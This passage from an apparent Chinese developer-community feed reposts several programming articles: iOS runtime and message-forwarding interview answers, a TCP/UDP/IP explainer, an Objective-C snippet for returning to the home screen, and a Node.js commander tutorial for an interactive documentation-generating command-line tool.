优先调用分类的 initialize, 如果没有分类会调用 子类的,如果子类未实现则调用 父类的

十八.load、initialize方法的区别什么?它们在category中的调用的顺序?以及出现继承时他们之间的调用过程?

load 是类加载到内存时候调用, 优先父类->子类->分类
initialize 是类第一次收到消息时候调用,优先分类->子类->父类
同级别和编译顺序有关系
load 方法是在 main 函数之前调用的

十九.什么是Runtime?平时项目中有用过么?

Objective-C runtime是一个运行时库,它为Objective-C语言的动态特性提供支持,我们所写的OC代码在运行时都转成了runtime相关的代码,类转换成C语言对应的结构体,方法转化为C语言对应的函数,发消息转成了C语言对应的函数调用。通过了解runtime以及源码,可以更加深入的了解OC其特性和原理

OC是一门动态性比较强的编程语言,允许很多操作推迟到程序运行时再进行

OC的动态性就是由Runtime来支撑和实现的,Runtime是一套C语言的API,封装了很多动态性相关的函数

平时编写的OC代码,底层都是转换成了Runtime API进行调用

具体应用

利用关联对象(AssociatedObject)给分类添加属性
遍历类的所有成员变量(修改textfield的占位文字颜色、字典转模型、自动归档解档)
交换方法实现(交换系统的方法)
利用消息转发机制解决方法找不到的异常问题

二十.讲一下 OC 的消息机制

1.OC中的方法调用其实都是转成了objc_msgSend函数的调用,给receiver(方法调用者)发送了一条消息(selector方法名)
2.objc_msgSend底层有3大阶段   消息发送(当前类、父类中查找)、动态方法解析、消息转发

消息发送流程

当我们的一个 receiver(实例对象)收到消息的时候, 会通过 isa 指针找到 他的类对象, 然后在类对象方法列表中查找 对应的方法实现,如果 未找到,则会通过 superClass 指针找到其父类的类对象, 找到则返回,未找打则会一级一级往上查到,最终到NSObject 对象, 如果还是未找到就会进行动态方法解析
类方法调用同上,只不过 isa 指针找到元类对象;

动态方法解析机制&&消息转发机制流程

当我们发送消息未找到方法实现,就会进入第二步,动态方法解析: 代码实现如下

//  动态方法绑定- 实例法法调用
+ (BOOL)resolveInstanceMethod:(SEL)sel{
if (sel == @selector(run)) {
Method method = class_getInstanceMethod(self, @selector(test));
class_addMethod(self, sel, method_getImplementation(method), method_getTypeEncoding(method));
return YES;
}
return [super resolveInstanceMethod:sel];
}
// 类方法调用
+(BOOL) resolveClassMethod:(SEL)sel....

未找到动态方法绑定,就会进行消息转发阶段

// 快速消息转发- 指定消息处理对象
- (id)forwardingTargetForSelector:(SEL)aSelector{
if (aSelector == @selector(run)) {
return [Student new];
}
return [super forwardingTargetForSelector:aSelector];
}

// 标准消息转发-消息签名
- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector{
if(aSelector == @selector(run))
{
return [NSMethodSignature signatureWithObjCTypes:"v@:"];
}
return [super methodSignatureForSelector:aSelector];
}
- (void)forwardInvocation:(NSInvocation *)anInvocation{
//内部逻辑自己处理
}

答案摘自作者:iOS猿_员

原贴链接:https://www.jianshu.com/p/4aaf45c11082

收起阅读 »

TCP、UDP协议和IP协议

一、TCP定义TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议。面向连接意味着两个使用TCP的进程(一个客户和一个服务器)在交换数据之前必须先建立好连接,然后才能开始传输数据。建立连接时采用客户服务器模式,其中主动发起连接建立的进程叫做客户(Clie...
继续阅读 »
一、TCP
  1. 定义

    TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议。面向连接意味着两个使用TCP的进程(一个客户和一个服务器)在交换数据之前必须先建立好连接,然后才能开始传输数据。建立连接时采用客户服务器模式,其中主动发起连接建立的进程叫做客户(Client),被动等待连接建立的进程叫做服务器(Server)。

  2. 端对端

    TCP提供全双工的数据传输服务,这意味着建立了TCP连接的主机双方可以同时发送和接收数据。这样,接收方收到发送方消息后的确认可以在反方向的数据流中进行捎带。“端到端”的TCP通信意味着TCP连接发生在两个进程之间,一个进程发送数据,只有一个接收方,因此TCP不支持广播和组播。

  3. 面向字节

    TCP连接面向字节流,字节流意味着用户数据没有边界,例如,发送进程在TCP连接上发送了2个512字节的数据,接收方接收到的可能是2个512字节的数据,也可能是1个1024字节的数据。因此,接收方若要正确检测数据的边界,必须由发送方和接收方共同约定,并且在用户进程中按这些约定来实现。

  4. 位于传输层
    TCP接收到数据包后,将信息送到更高层的应用程序,如FTP的服务程序和客户程序。应用程序处理后,再轮流将信息送回传输层,传输层再将它们向下传送到网际层,最后到接收方。


二、UDP

UDP与TCP位于同一层,但与TCP不同

  • UDP协议提供的是一种无连接的、不可靠的传输层协议,只提供有限的差错检验功能。

  • 它在IP层上附加了简单的多路复用功能,提供端到端的数据传输服务。

  • 设计UDP的目的是为了以最小的开销在可靠的或者是对数据可靠性要求不高的环境中进行通信,

  • 由于无连接,UDP支持广播和组播,这在多媒体应用中是非常有用的。


三、IP协议

  1. 定义

    IP(网际)协议是TCP/IP模型的核心,也是网络层最重要的协议。

  2. 功能

    网际层接收来自网络接口层的数据包,并将数据包发送到传输层;相反,也将传输层的数据包传送到网络接口层。
    IP协议主要包括无连接数据报传送,数据报路由器选择以及差错处理等功能。

  3. 局限及对策

    由于网络拥挤、网络故障等问题可能导致数据报无法顺利通过传输层。IP协议具有有限的报错功能,不能有效处理数据报延迟,不按顺序到达和数据报出错,所以IP协议需要与另外的协议配套使用,包括地址解析协议ARP、逆地址解析协议RARP、因特网控制报文协议ICMP、因特网组管理协议IGMP等。
    IP数据包中含有源地址(发送它的主机地址)和目的地址(接收它的主机地址)。

  4. 意义

    IP协议对于网络通信而言有着重要的意义。由于网络中的所有计算机都安装了IP软件,使得许许多多的局域网构成了庞大而严密的通信系统,才形成了如今的Internet。其实,Internet并非一个真实存在的网络,而是一个虚拟网络,只不过是利用IP协议把世界上所有愿意接入Internet的计算机局域网络连接起来,使之能够相互通信。

    链接:https://www.jianshu.com/p/b8b2220a8bd0

收起阅读 »

iOS 一键返回首页

在APP的开发中,我们难免会遇到这种情况,一层层的打开下一级控制,这时,我们再想回到原始控制器时,一级级返回不太现实,所以我们需要一种方法,来一次性返回首页从App的rootViewController开始,找到所有presentedController,然后...
继续阅读 »

在APP的开发中,我们难免会遇到这种情况,一层层的打开下一级控制,这时,我们再想回到原始控制器时,一级级返回不太现实,所以我们需要一种方法,来一次性返回首页

从App的rootViewController开始,找到所有presentedController,然后逆序dismiss这些Controller,最后pop to rootViewController就可以了。

- (void)backToHomePage
{
UIWindow *window = [(AppDelegate *)[UIApplication sharedApplication].delegate window];
UIViewController *presentedController = nil;

UIViewController *rootController = [window rootViewController];
if ([rootController isKindOfClass:[UITabBarController class]]) {
rootController = [(UITabBarController *)rootController selectedViewController];
}
presentedController = rootController;
//找到所有presented的controller,包括UIViewController和UINavigationController
NSMutableArray *presentedControllerArray = [[NSMutableArray alloc] init];
while (presentedController.presentedViewController) {
[presentedControllerArray addObject:presentedController.presentedViewController];
presentedController = presentedController.presentedViewController;
}
if (presentedControllerArray.count > 0) {
//把所有presented的controller都dismiss掉
[self dismissControllers:presentedControllerArray topIndex:presentedControllerArray.count - 1 completion:^{
[self popToRootViewControllerFrom:rootController];
}];
} else {
[self popToRootViewControllerFrom:rootController];
}
}
- (void)dismissControllers:(NSArray *)presentedControllerArray topIndex:(NSInteger)index completion:(void(^)(void))completion
{
if (index < 0) {
completion();
} else {
[presentedControllerArray[index] dismissViewControllerAnimated:NO completion:^{
[self dismissControllers:presentedControllerArray topIndex:index - 1 completion:completion];
}];
}
}
- (void)popToRootViewControllerFrom:(UIViewController *)fromViewController
{
//pop to root
if ([fromViewController isKindOfClass:[UINavigationController class]]) {
[(UINavigationController *)fromViewController popToRootViewControllerAnimated:YES];
}
if (fromViewController.navigationController) {
[fromViewController.navigationController popToRootViewControllerAnimated:YES];
}
}

参考这个思路可以做一些其他非常规页面跳转,跳转到我们想要跳转的指定界面去

原文链接:https://blog.csdn.net/yinyignfenlei/article/details/86167245

收起阅读 »

Node交互式命令行工具开发——自动化文档工具

 nodejs开发命令行工具,流程相对简单,但一套完整的命令行程序开发流程下来,还是需要下点功夫,网上资料大多零散,这篇教程意在整合一下完整的开发流程。  npm上命令行开发相关包很多,例如minimist、optimist、nopt、commander.js...
继续阅读 »

 nodejs开发命令行工具,流程相对简单,但一套完整的命令行程序开发流程下来,还是需要下点功夫,网上资料大多零散,这篇教程意在整合一下完整的开发流程。
  npm上命令行开发相关包很多,例如minimistoptimistnoptcommander.jsyargs等等,使用方法和效果类似。其中用得比较多的是TJ大神的commanderyargs,本文以commander为基础讲述,可以参考这篇教程,yargs教程可以参考阮大神的或者这一篇
  另外,一个完整的命令行工具开发,还需要了解processshelljspathlinebyline等模块,这些都是node基础模块或一些简单模块,非常简单,就不多说了,另外如果你不想用回调函数处理异步还需要了解一下PromiseGenerator函数。这是教程:i5ting大神的《深入浅出js(Node.js)异步流程控制》和阮大神的异步编程教程以及promise小人书,另外想尝试ES7 stage3阶段的async/await异步解决方案,可参考这篇教程async/await解决方案需要babel转码,这是教程。本人喜欢async/await(哪个node开发者不喜欢呢?)但不喜欢倒腾,况且async/await本身就是Promise的语法糖,所以没选择使用,据江湖消息,nodejs将在今年晚些时候(10月份?)支持async/await,很是期待。
  以下是文章末尾实例用到的一些依赖。

"dependencies": {
"bluebird": "^3.4.1",
"co": "^4.6.0",
"colors": "^1.1.2",
"commander": "^2.9.0",
"dox": "^0.9.0",
"handlebars": "^4.0.5",
"linebyline": "^1.3.0",
"mkdirp": "^0.5.1"
}

 其中bluebird用于Promise化,TJ大神的co用于执行Generator函数,handlebars是一种模板,linebyline用于分行读取文件,colors用于美化输出,mkdirp用于创建目录,另外教程中的示例是一款工具,可以自动化生成数据库和API接口的markdown文档,并通过修改git hooks,使项目的每次commit都会自动更新文档,借助了TJ大神的dox模块。
  <span style="color:rgb(0, 136, 204)">所有推荐教程/教材,仅供参考,自行甄选阅读。</span>

安装Node

  各操作系统下安装见Nodejs官网,安装完成之后用node -v或者which node等命令测试安装是否成功。which在命令行开发中是一个非常有用的命令,使用which命令确保你的系统中不存在名字相同的命令行工具,例如which commandName,例如which testdev命令返回空白那么说明testdev命令名称还没有被使用。

初始化

  1. 新建一个.js文件,即是你的命令要执行的主程序入口文件,例如testdev.js。在文件第一行加入#!/usr/bin/env node指明系统在运行这个文件的时候使用node作为解释器,等价于node testdev.js命令。
  2. 初始化package.json文件,使用npm init命令根据提示信息创建,也可以是使用npm init -y使用默认设置创建。创建完成之后需要修改package.json文件内容加入"bin": {"testdev": "./testdev.js"}这条信息用于告诉npm你的命令(testdev)要执行的脚本文件的路径和名字,这里我们指定testdev命令的执行文件为当前目录下的testdev.js文件。
  3. 为了方便测试在testdev.js文件中加入代码console.log('hello world');,这里只是用于测试环境是否搭建成功,更加复杂的程序逻辑和过程需要按照实际情况进行编写

测试

  使用npm link命令,可以在本地安装刚刚创建的包,然后就可以用testdev来运行命令了,如果正常的话在控制台会打印出hello world

commander

  TJ的commander非常简洁,README.md已经把使用方法写的非常清晰。下面是例子中的代码:

const program = require('commander'),
co = require('co');

const appInfo = require('./../package.json'),
asyncFunc = require('./../common/asyncfunc.js');

program.allowUnknownOption();
program.version(appInfo.version);

program
.command('init')
.description('初始化当前目录doc.json文件')
.action(() => co(asyncFunc.initAction));

program
.command('show')
.description('显示配置文件状态')
.action(() => co(asyncFunc.showAction));

program
.command('run')
.description('启动程序')
.action(() => co(asyncFunc.runAction));

program
.command('modifyhook')
.description('修改项目下的hook文件')
.action(() => co(asyncFunc.modifyhookAction));

program
.command('*')
.action((env) => {
console.error('不存在命令 "%s"', env);
});

program.on('--help', () => {
console.log(' Examples:');
console.log('');
console.log(' $ createDOC --help');
console.log(' $ createDOC -h');
console.log(' $ createDOC show');
console.log('');
});

program.parse(process.argv);

 定义了四个命令和个性化帮助说明。

交互式命令行process

  commander只是实现了命令行参数与回复一对一的固定功能,也就是一个命令必然对应一个回复,那如何实现人机交互式的命令行呢,类似npm init或者eslint --init这样的与用户交互,交互之后根据用户的不同需求反馈不同的结果呢。这里就需要node内置的process模块。
  这是我实现的一个init命令功能代码:

exports.initAction = function* () {
try {
var docPath = yield exists(process.cwd() + '/doc.json');
if (docPath) {
func.initRepl(config.coverInit, arr => {
co(newDoc(arr));
})
} else {
func.initRepl(config.newInit, arr => {
co(newDoc(arr));
})
}
} catch (err) {
console.warn(err);
}

首先检查doc.json文件是否存在,如果存在执行覆盖交互,如果不存在执行生成交互,try...catch捕获错误。
  交互内容配置如下:

newInit:
[
{
title:'initConfirm',
description:'初始化createDOC,生成doc.json.确认?(y/n) ',
defaults: 'y'
},
{
title:'defaultConfirm',
description:'是否使用默认配置.(y/n) ',
defaults: 'y'
},
{
title:'showConfig',
description:'是否显示doc.json当前配置?(y/n) ',
defaults: 'y'
}
],
coverInit:[
{
title:'modifyConfirm',
description:'doc.json已存在,初始化将覆盖文件.确认?(y/n) ',
defaults: 'y'
},
{
title:'defaultConfirm',
description:'是否使用默认配置.(y/n) ',
defaults: 'y'
},
{
title:'showConfig',
description:'是否显示doc.json当前配置?(y/n) ',
defaults: 'y'
}
],

人机交互部分代码也就是initRepl函数内容如下:

//初始化命令,人机交互控制
exports.initRepl = function (init, func) {
var i = 1;
var inputArr = [];
var len = init.length;
process.stdout.write(init[0].description);
process.stdin.resume();
process.stdin.setEncoding('utf-8');
process.stdin.on('data', (chunk) => {
chunk = chunk.replace(/[\s\n]/, '');
if (chunk !== 'y' && chunk !== 'Y' && chunk !== 'n' && chunk !== 'N') {
console.log(config.colors.red('您输入的命令是: ' + chunk));
console.warn(config.colors.red('请输入正确指令:y/n'));
process.exit();
}
if (
(init[i - 1].title === 'modifyConfirm' || init[i - 1].title === 'initConfirm') &&
(chunk === 'n' || chunk === 'N')
) {
process.exit();
}
var inputJson = {
title: init[i - 1].title,
value: chunk,
};
inputArr.push(inputJson);
if ((len--) > 1) {
process.stdout.write(init[i++].description)
} else {
process.stdin.pause();
func(inputArr);
}
});
}

人机交互才用向用户提问根据用户不同输入产生不同结果的形式进行,顺序读取提问列表并记录用户输入结果,如果用户输入n/N则终止交互,用户输入非法字符(除y/Y/n/N以外)提示输入命令错误。

文档自动化

  文档自动化,其中数据库文档自动化,才用依赖sequelize的方法手写(根据需求不同自行编写逻辑),API文档才用TJ的dox也很简单。由于此处代码与命令行功能相关度不大,请读者自行去示例地址查看代码。

示例地址

github地址
npm地址

原文链接:https://segmentfault.com/a/1190000039749423

收起阅读 »